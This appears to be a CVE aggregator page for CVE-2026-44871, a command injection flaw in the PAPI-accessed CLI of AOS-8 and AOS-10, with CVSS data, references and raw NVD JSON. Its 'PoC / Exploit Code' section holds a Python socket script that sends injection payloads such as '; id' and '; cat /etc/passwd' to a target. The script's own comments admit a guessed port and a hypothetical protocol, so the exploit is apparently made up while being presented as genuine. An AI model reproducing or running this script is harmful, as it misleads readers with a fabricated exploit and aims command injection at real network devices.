CVE-2026-44871

Description

Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AOS-8 (所有受影响版本)

AOS-10 (所有受影响版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-44871
# This script demonstrates the command injection via PAPI protocol

import socket
import sys

def send_exploit(target_ip, payload):
    # Simulate PAPI protocol connection
    try:
        print(f"[*] Connecting to {target_ip}...")
        # Create a socket connection to the PAPI service (Hypothetical port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, 8080)) # Assuming PAPI uses port 8080
        
        # Construct malicious request with command injection payload
        # Example payload: ; id or ; cat /etc/passwd
        request = f"CLI_CMD {payload}\n"
        
        print(f"[*] Sending payload: {payload}")
        s.send(request.encode())
        
        # Receive response
        response = s.recv(1024)
        print("[+] Response received:")
        print(response.decode())
        
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_ip> <payload>")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd_payload = sys.argv[2]
    send_exploit(target, cmd_payload)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44871
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44871
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44871/
[4] VulDB https://vuldb.com/cve/CVE-2026-44871
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44871", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:37.820", "lastModified": "2026-05-12T22:16:37.820", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}